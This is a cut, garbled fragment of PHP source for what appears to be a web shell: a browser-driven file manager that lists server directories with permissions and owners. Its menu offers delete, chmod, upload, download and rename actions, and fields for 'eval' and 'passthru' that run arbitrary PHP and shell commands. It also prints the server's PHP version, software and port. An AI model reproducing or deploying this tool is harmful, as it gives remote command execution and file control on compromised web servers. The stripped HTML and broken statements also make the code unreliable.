END; echo ""; function permissions($perms) { if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } if($perms & 0x100){ $info .= 'r'; } else{ $info .= '-'; } if($perms & 0x80){ $info .= 'w'; } else{ $info .= '-'; } if($perms & 0x40){ if($perms & 0x800){ $info .= 's'; }else{ $info .= 'x'; } }else{ if($perms & 0x800){ $info .= 'S'; }else{ $info .= '-'; } } if($perms & 0x20){ $info .= 'r'; } else{ $info .= '-'; } if($perms & 0x10){ $info .= 'w'; } else{ $info .= '-'; } if($perms & 0x8){ if($perms & 0x400){ $info .= 's'; }else{ $info .= 'x'; } }else{ if($perms & 0x400){ $info .= 'S'; }else{ $info .= '-'; } } if($perms & 0x4){ $info .= 'r'; } else{ $info .= '-'; } if($perms & 0x2){ $info .= 'w'; } else{ $info .= '-'; } if($perms & 0x1){ if($perms & 0x200){ $info .= 't'; }else{ $info .= 'x'; } }else{ if($perms & 0x200){ $info .= 'T'; }else{ $info .= '-'; } } return $info; } function clengthset($v) { return strlen($v) > 64 ? '..' . substr($v,-62,62) : $v; } function getid($file) { if (!function_exists('posix_getpwuid')) { return strval(fileowner($file)).'/'.strval(filegroup($file)); } $arru = posix_getpwuid(fileowner($file)); $arrg = posix_getgrgid(filegroup($file)); $uid = $arru['uid']!=='' ? $arru['uid'] : 0; $uname = $arru['name']!=='' ? $arru['name'] : ""; $gid = $arrg['gid']!=='' ? $arrg['gid'] : 0; $gname = $arrg['name']!=='' ? $arrg['name'] : ""; return "{$uid}/{$gid} {$uname}/{$gname}"; } $dir = is_dir($file) ? $file : $dir; $dir = is_dir($dir) ? $dir : $udddir; $dir = is_dir($dir) ? $dir : '.'; $dir = realpath($dir); $c_ud_dir = ''; if (preg_match('/[^\x20-\x7E]/',$dir)) { $p_ud_dir=1; } if ($p_ud_dir) { $dispdir = urlencode($dir); $dispdir2 = hs($dir); $c_ud_dir = ' checked'; } else { $dispdir = $dispdir2 = hs($dir); } $ddir = urlencode($dir); $vmax = preg_match('/^[0-9]+$/',$p_vmax) ? $p_vmax : 100; $order = preg_match('/^[0-9]+$/',$p_order) ? $p_order : 1; $sorts = $p_sort==='sort' ? ' selected' : ''; $rsorts = $p_sort==='rsort' ? ' selected' : ''; $natsorts = $p_sort==='natsort' ? ' selected' : ''; $c_sort_r = ''; $p_sort_r = 0; if(isset($_POST['sort_r'])){ $c_sort_r=' checked'; $p_sort_r = 1; } echo <<Index of {$dispdir2}{$dispdir2}
{$message}

#under
END; $dirHandler = opendir($dir); while ($r=readdir($dirHandler)) { $files[] = $r; } if ($p_sort==='sort') { sort($files); } elseif ($p_sort==='rsort') { rsort($files); } elseif ($p_sort==='natsort') { natsort($files); } if($p_sort_r){$files=array_reverse($files);} $filen = sizeof($files); $starr = $order && $order-1 <= $filen-1 ? $order-1 : $filen-1; $enarr = $order-1+$vmax && $order-1+$vmax-1 <= $filen-1 ? $order-1+$vmax-1 : $filen-1; $starr++; $enarr++; echo ""; $starr--; $enarr--; echo << END; $i=1; while($i <= $starr){++$i; next($files); } for ($i=0; $i<=$enarr-$starr; $i++) { $file = current($files); $ugid=getid($dir.$DS.$file); if (preg_match('/^([0-9]+\/[0-9]+) ([^\n]*)$/',$ugid,$matches)) { $ugid=$matches[1]; $ugname = $matches[2]; } else { $ugname = ""; } echo "". hs($ugid) . "\x0a"; next($files); } echo <<#top
 unlink/rmdir
 chmod ()
 chdir/download (fseek offset whence) length
 upload
 rename
 mkdir ()

fileview    order  viewmax  sortType  reverce 
dir          d_urldec. 
selectfile   s_urldec. 
newfile      n_urldec. 
upfile      
eval         e_urldec.   passthru 
 
END; echo '
phpversion ' . hs(phpversion()) . '
'; echo '
/' . hs($s_software) . " " . hs($s_server_name) . " Port " . hs($s_server_port) . "
"; echo '
file:{$filen}{$starr} to {$enarr}
pernamesizectimemtimeatimeuid/gid
" . sprintf("%s",key($files)+1) . ""; } else { echo "a>"; } echo permissions(fileperms($dir.$DS.$file)); echo ""; if (is_dir($dir.$DS.$file)) { echo "" . hs(clengthset($file)) . ""; } else { echo "" . hs(clengthset($file)) . ""; } echo "" . sprintf("%s",filesize($dir.$DS.$file)) . "" . date("m/d/y H:i:s", filectime($dir.$DS.$file)+datedt) . "" . date("m/d/y H:i:s", filemtime($dir.$DS.$file)+datedt) . "" . date("m/d/y H:i:s", fileatime($dir.$DS.$file)+datedt) . "